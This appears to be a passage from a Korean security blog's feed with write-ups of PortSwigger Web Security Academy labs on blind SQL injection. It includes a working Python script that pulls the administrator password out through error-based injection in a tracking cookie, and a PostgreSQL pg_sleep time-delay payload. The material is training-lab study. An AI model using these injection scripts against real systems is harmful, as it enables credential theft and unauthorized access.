&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;15_주석 안쓴버전 참 거짓 응답 다름.png&quot; data-origin-width=&quot;1254&quot; data-origin-height=&quot;570&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dTR5r3/dJMcabjl34B/byfqA9vzTAIPd8XpBYfXjk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dTR5r3/dJMcabjl34B/byfqA9vzTAIPd8XpBYfXjk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dTR5r3/dJMcabjl34B/byfqA9vzTAIPd8XpBYfXjk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdTR5r3%2FdJMcabjl34B%2FbyfqA9vzTAIPd8XpBYfXjk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;386&quot; data-filename=&quot;15_주석 안쓴버전 참 거짓 응답 다름.png&quot; data-origin-width=&quot;1254&quot; data-origin-height=&quot;570&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;에러 유무에 따른 응답 결과를 통해 data를 추출할 수 있도록 Python scirpt를 제작합니다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[administrator passowrd 추출 - python script]&lt;/p&gt;
&lt;pre id=&quot;code_1774601918547&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 주석 사용하지 않은 코드
import string
import requests

url = &quot;https://0ada005104420d0780bb089800b00070.web-security-academy.net/&quot;

# session, TrackingId는 자신이 가지고 있는 값을 사용합니다.
session = &quot;jTeRDnbRbQIgMz8DasJdL8L0wNLNjszJ&quot;
TrackingId = &quot;uUveEoJDaHYuGguk&quot;

# 문제에서 administrator 계정의 정보는 users table에 있다고 언급이 되었고
# users table의 column은 username column과, password column이 있다고 했기 때문에
# administrator의 password 길이를 알아내고 해당 길이만큼 반복문을 돌리면서
# data를 추출할 수 있습니다.

# administrator password 길이 찾는 함수 
def find_admin_pw_len():

	# 이진 탐색법 적용	
    low = 1
    high = 256

    while low &amp;lt; high:
        mid = (low + high) // 2
        query = (
            f&quot;(select length(password) from users where username ='administrator') &amp;gt; {mid}&quot;
        )

        cookies = {
            &quot;session&quot; : f&quot;{session}&quot;,
            &quot;TrackingId&quot; : f&quot;{TrackingId}'|| (select case when ({query}) then to_char(1/0) else '' end from dual) ||'&quot;
        }

        response = requests.get(url, cookies=cookies)
        # print(response.text)
        # print(mid)

        if &quot;Internal Server Error&quot; in response.text:
            low = mid + 1
        else:
            high = mid

    return (low)

# administrator password 추출 함수
def find_admin_pw():
   
    admin_pw = ''
    # administrator password 길이를 저장
	admin_pw_len = find_admin_pw_len()

    # administrator password 길이만큼 반복하면서
    # data추출
    for i in range(1, admin_pw_len+1):
    
    	# 이진 탐색법 적용
        low = 32
        high = 127

        while low &amp;lt; high:
            mid = (low + high) // 2
            query = (
                f&quot;ascii(substr((select password from users where username ='administrator'), {i}, 1)) &amp;gt; {mid}&quot;
            )

            cookies = {
                &quot;session&quot; : f&quot;{session}&quot;,
                &quot;TrackingId&quot; : f&quot;{TrackingId}'|| (select case when ({query}) then to_char(1/0) else '' end from dual) ||'&quot;
            }

            response = requests.get(url, cookies=cookies)
            # print(response.text)
            # print(mid)

            if &quot;Internal Server Error&quot; in response.text:
                low = mid + 1
            else:
                high = mid
        
        admin_pw += chr(low)

    return admin_pw

print(f&quot;administrator의 password: {find_admin_pw()}&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;코드를 실행해 보면 다음과 같이 administrator 계정의 password를 얻어낼 수 있게 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;10_admin 비밀번호 알아냄.png&quot; data-origin-width=&quot;446&quot; data-origin-height=&quot;26&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bxbaS2/dJMcagkCtVN/153dyzPwV8dC7WyT9Ckcrk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bxbaS2/dJMcagkCtVN/153dyzPwV8dC7WyT9Ckcrk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxbaS2/dJMcagkCtVN/153dyzPwV8dC7WyT9Ckcrk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbxbaS2%2FdJMcagkCtVN%2F153dyzPwV8dC7WyT9Ckcrk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;35&quot; data-filename=&quot;10_admin 비밀번호 알아냄.png&quot; data-origin-width=&quot;446&quot; data-origin-height=&quot;26&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹 페이지로 돌아가서 My account를 클릭합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;11_my account 접속.png&quot; data-origin-width=&quot;976&quot; data-origin-height=&quot;650&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/efTMmt/dJMcagZdYYx/BYORKwkdn44VXYfh3gquJk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/efTMmt/dJMcagZdYYx/BYORKwkdn44VXYfh3gquJk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/efTMmt/dJMcagZdYYx/BYORKwkdn44VXYfh3gquJk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FefTMmt%2FdJMcagZdYYx%2FBYORKwkdn44VXYfh3gquJk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;466&quot; data-filename=&quot;11_my account 접속.png&quot; data-origin-width=&quot;976&quot; data-origin-height=&quot;650&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;알아낸 administrator의 ID, Password를 입력합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;12_알아낸 비번 입력.png&quot; data-origin-width=&quot;976&quot; data-origin-height=&quot;650&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ci6dH/dJMcadBmR55/MVxXZtxHQ6PgbXb0KSi161/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ci6dH/dJMcadBmR55/MVxXZtxHQ6PgbXb0KSi161/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ci6dH/dJMcadBmR55/MVxXZtxHQ6PgbXb0KSi161/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCi6dH%2FdJMcadBmR55%2FMVxXZtxHQ6PgbXb0KSi161%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;466&quot; data-filename=&quot;12_알아낸 비번 입력.png&quot; data-origin-width=&quot;976&quot; data-origin-height=&quot;650&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;administrator 계정으로 로그인에 성공하며 문제를 해결하게 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;13_문제 해결.png&quot; data-origin-width=&quot;976&quot; data-origin-height=&quot;650&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqodC1/dJMcag50ZDL/h20mbR7nDChECzRh0xIiDK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqodC1/dJMcag50ZDL/h20mbR7nDChECzRh0xIiDK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqodC1/dJMcag50ZDL/h20mbR7nDChECzRh0xIiDK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqodC1%2FdJMcag50ZDL%2Fh20mbR7nDChECzRh0xIiDK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;466&quot; data-filename=&quot;13_문제 해결.png&quot; data-origin-width=&quot;976&quot; data-origin-height=&quot;650&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>[WEB] CTF &amp;amp; Wargame/PortSwigger Web Security Academy</category>
      <category>blind sqli with error</category>
      <category>Lab: Blind SQL injection with conditional errors</category>
      <category>portswigger</category>
      <category>portswigger web security academy</category>
      <category>SQL INJECTION</category>
      <category>모의해킹</category>
      <category>모의해킹 공부</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/28</guid>
      <comments>https://code000.tistory.com/entry/Lab-Blind-SQL-injection-with-conditional-errors#entry28comment</comments>
      <pubDate>Fri, 27 Mar 2026 21:01:55 +0900</pubDate>
    </item>
    <item>
      <title>Lab: Blind SQL injection with time delays</title>
      <link>https://code000.tistory.com/entry/Lab-Blind-SQL-injection-with-time-delays</link>
      <description>&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;https://portswigger.net/web-security/sql-injection/blind/lab-time-delays&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;목표 &amp;amp; 사용 도구&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt; SQL Injection 취약점을 이용하여 10초 딜레이를 시키는 것입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용도구:&lt;/b&gt; Burp Suite&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이 - Lab: Blind SQL injection with time delays&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제 사이트에 접속하여 문제를 확인합니다. tracking cookie를 사용 중이며 해당 cookie를 통해 SQL query로 질의를 하고 있다는 것을 알 수 있고 SQL query로 질의를 했을 때의 결과 값 리턴이 따로 없다고 합니다.&amp;nbsp; 마지막 부분을 읽어보면&amp;nbsp; SQL injection 취약점을 이용해 10초 딜레이를 시켰을 때 해당 문제를 해결할 수 있다는 것을 알 수 있습니다. ACCESS THE LAB을 클릭합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1_문제 확인.png&quot; data-origin-width=&quot;805&quot; data-origin-height=&quot;564&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bU6GHW/dJMcaiJpHOM/CnH11Dvw8i31QnTl9sCKOk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bU6GHW/dJMcaiJpHOM/CnH11Dvw8i31QnTl9sCKOk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bU6GHW/dJMcaiJpHOM/CnH11Dvw8i31QnTl9sCKOk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbU6GHW%2FdJMcaiJpHOM%2FCnH11Dvw8i31QnTl9sCKOk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;564&quot; data-filename=&quot;1_문제 확인.png&quot; data-origin-width=&quot;805&quot; data-origin-height=&quot;564&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;LAB에 접속했을 때의 요청 및 응답을 Burp Suite를 사용해 취득한 뒤 TrackingId 쿠키가 설정되어 있는 것을 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2_접속해서 요청 및 응답 데이터 취득 후 쿠키 확인.png&quot; data-origin-width=&quot;1046&quot; data-origin-height=&quot;492&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bSwK9h/dJMcabQ5pkv/ax9CYk6C2ZVzwTZvmHGAq0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bSwK9h/dJMcabQ5pkv/ax9CYk6C2ZVzwTZvmHGAq0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bSwK9h/dJMcabQ5pkv/ax9CYk6C2ZVzwTZvmHGAq0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbSwK9h%2FdJMcabQ5pkv%2Fax9CYk6C2ZVzwTZvmHGAq0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1046&quot; height=&quot;492&quot; data-filename=&quot;2_접속해서 요청 및 응답 데이터 취득 후 쿠키 확인.png&quot; data-origin-width=&quot;1046&quot; data-origin-height=&quot;492&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제에서 설명했듯이 TrackingId 쿠키는 SQL query 문을 수행하는데 사용되고 있기 때문에 해당 sql query 문 조건식이 참이 되도록 하는 sql query 문을 구성하여 요청을 보냅니다. &lt;span style=&quot;color: #9d9d9d;&quot;&gt;(Burp Suite의 Repeater 기능 사용)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;3_참쿼리 삽입.png&quot; data-origin-width=&quot;1035&quot; data-origin-height=&quot;492&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cqYdEX/dJMcaa5JhET/qSoSHTpgmPe2xlKiMdFZ00/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cqYdEX/dJMcaa5JhET/qSoSHTpgmPe2xlKiMdFZ00/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cqYdEX/dJMcaa5JhET/qSoSHTpgmPe2xlKiMdFZ00/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcqYdEX%2FdJMcaa5JhET%2FqSoSHTpgmPe2xlKiMdFZ00%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1035&quot; height=&quot;492&quot; data-filename=&quot;3_참쿼리 삽입.png&quot; data-origin-width=&quot;1035&quot; data-origin-height=&quot;492&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;sql query 문 조건식 결과가 거짓이 되는 sql query 문을 구성하여 요청을 보냅니다. 이때 참, 거짓에 대한 응답을 각각 살펴보면 다른 점이 없었고 응답 결과가 다름을 이용하여 DB data를 추출하는 작업을 할 수 없는 상황인 것을 알 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;4_거짓 쿼리 삽입.png&quot; data-origin-width=&quot;1038&quot; data-origin-height=&quot;492&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjntSa/dJMcabjhQYc/9fiMwkLLnpKkJBCwXXeGTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjntSa/dJMcabjhQYc/9fiMwkLLnpKkJBCwXXeGTK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjntSa/dJMcabjhQYc/9fiMwkLLnpKkJBCwXXeGTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbjntSa%2FdJMcabjhQYc%2F9fiMwkLLnpKkJBCwXXeGTK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1038&quot; height=&quot;492&quot; data-filename=&quot;4_거짓 쿼리 삽입.png&quot; data-origin-width=&quot;1038&quot; data-origin-height=&quot;492&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;참, 거짓 응답 결과를 통해 data를 추출할 수 없기 때문에 Time-based SQL Injection을 시도해 볼 수 있습니다. Time delay가 발생하도록 sql query 문을 구성하여 요청을 보내보면 약 10초 정도 Time delay가 발생한 것을 볼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[페이로드(입력 값)]&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 243px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 243px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 243px;&quot;&gt;&lt;b&gt;페이로드: &lt;/b&gt;TrackingId=&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;O0USgNjnXDZcKeUZ' || pg_sleep(10)--&lt;/b&gt;&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[설명]&lt;/b&gt;&lt;br /&gt;Blind SQL Injection을 시도할 때 참, 거짓에 따른 응답 결과가 동일하거나 응답 결과를 통해 data를 추측할 수 없는 상황이면 Time-based SQL Injection을 시도해 볼 수 있습니다.&amp;nbsp;&lt;br /&gt;&lt;br /&gt;각 DB마다 Time delay를 발생시키는 함수 및 문법이 다르기 때문에 문제를 풀 때 각 DB의 SQL query 문법에 맞춰서 Time-based SQL Injection을 시도해야합니다. 해당 LAB 문제의 경우 페이로드를 통해 PostgreSQL을 사용중 인것을 알 수 있었습니다.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;* 페이로드 분석&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;PostgreSQL 에서&amp;nbsp;&lt;span style=&quot;background-color: #dddddd;&quot;&gt; ||&amp;nbsp;&lt;/span&gt; 은 문자열을 연결해 주는 연산자 입니다. ~~~' || pg_sleep(10)을 하게되면 문자열을 연결하기 전에 pg_sleep(10)을 보고 Time을 delay 시키게 됩니다.(10이므로 10초) 이때 pg_sleep(10)의 반환 값은 void이며 값이 없는 상태이지만 함수가 실행되기 때문에 Time delay가 발생하는 것입니다. 마지막 주석&amp;nbsp;&lt;span style=&quot;background-color: #dddddd;&quot;&gt; --&amp;nbsp;&lt;/span&gt; 은 문법을 파괴하지 않기 위해서 입력한 값입니다.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;* Time delay 확인 하는 법&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;Burp Suite의 Repeater 기능을 이용하여 요청을 보내면 우측 하단에 시간이 나오며 이를 통해 Time delay가 발생했는지 알 수 있습니다.&lt;br /&gt;Bure Suite 우측하단을 보면 10,350 millis로(약 10초) Time delay가 발생한 것을 알 수 있습니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;5_시가지연 쿼리 삽입후 딜레이 되고 있는 것을 확인.png&quot; data-origin-width=&quot;1078&quot; data-origin-height=&quot;503&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c0qXgt/dJMcac3vQxb/72VHkacHXRj5R4E9bt0qbK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c0qXgt/dJMcac3vQxb/72VHkacHXRj5R4E9bt0qbK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c0qXgt/dJMcac3vQxb/72VHkacHXRj5R4E9bt0qbK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc0qXgt%2FdJMcac3vQxb%2F72VHkacHXRj5R4E9bt0qbK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1078&quot; height=&quot;503&quot; data-filename=&quot;5_시가지연 쿼리 삽입후 딜레이 되고 있는 것을 확인.png&quot; data-origin-width=&quot;1078&quot; data-origin-height=&quot;503&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이후에 웹 페이지로 돌아가보면 문제 요구에 맞게 10초 Time delay를 발생시켰기 때문에 문제를 성공적으로 해결하게 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;6_웹페이지 들어가서 확인해보면 문제해결한것을 알수있음.png&quot; data-origin-width=&quot;805&quot; data-origin-height=&quot;564&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GEQXJ/dJMb99Z4T87/uqkGjs20WC6v8qkkoP0xuk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GEQXJ/dJMb99Z4T87/uqkGjs20WC6v8qkkoP0xuk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GEQXJ/dJMb99Z4T87/uqkGjs20WC6v8qkkoP0xuk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGEQXJ%2FdJMb99Z4T87%2FuqkGjs20WC6v8qkkoP0xuk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-filename=&quot;6_웹페이지 들어가서 확인해보면 문제해결한것을 알수있음.png&quot; data-origin-width=&quot;805&quot; data-origin-height=&quot;564&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+) 주석을 사용하지 않은 페이로드입니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;7_주석 사용안한 버전.png&quot; data-origin-width=&quot;1078&quot; data-origin-height=&quot;501&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgyuOt/dJMcacWKVOJ/eJpxJeYZ6NWvSKfseNGx8K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgyuOt/dJMcacWKVOJ/eJpxJeYZ6NWvSKfseNGx8K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgyuOt/dJMcacWKVOJ/eJpxJeYZ6NWvSKfseNGx8K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgyuOt%2FdJMcacWKVOJ%2FeJpxJeYZ6NWvSKfseNGx8K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1078&quot; height=&quot;501&quot; data-filename=&quot;7_주석 사용안한 버전.png&quot; data-origin-width=&quot;1078&quot; data-origin-height=&quot;501&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
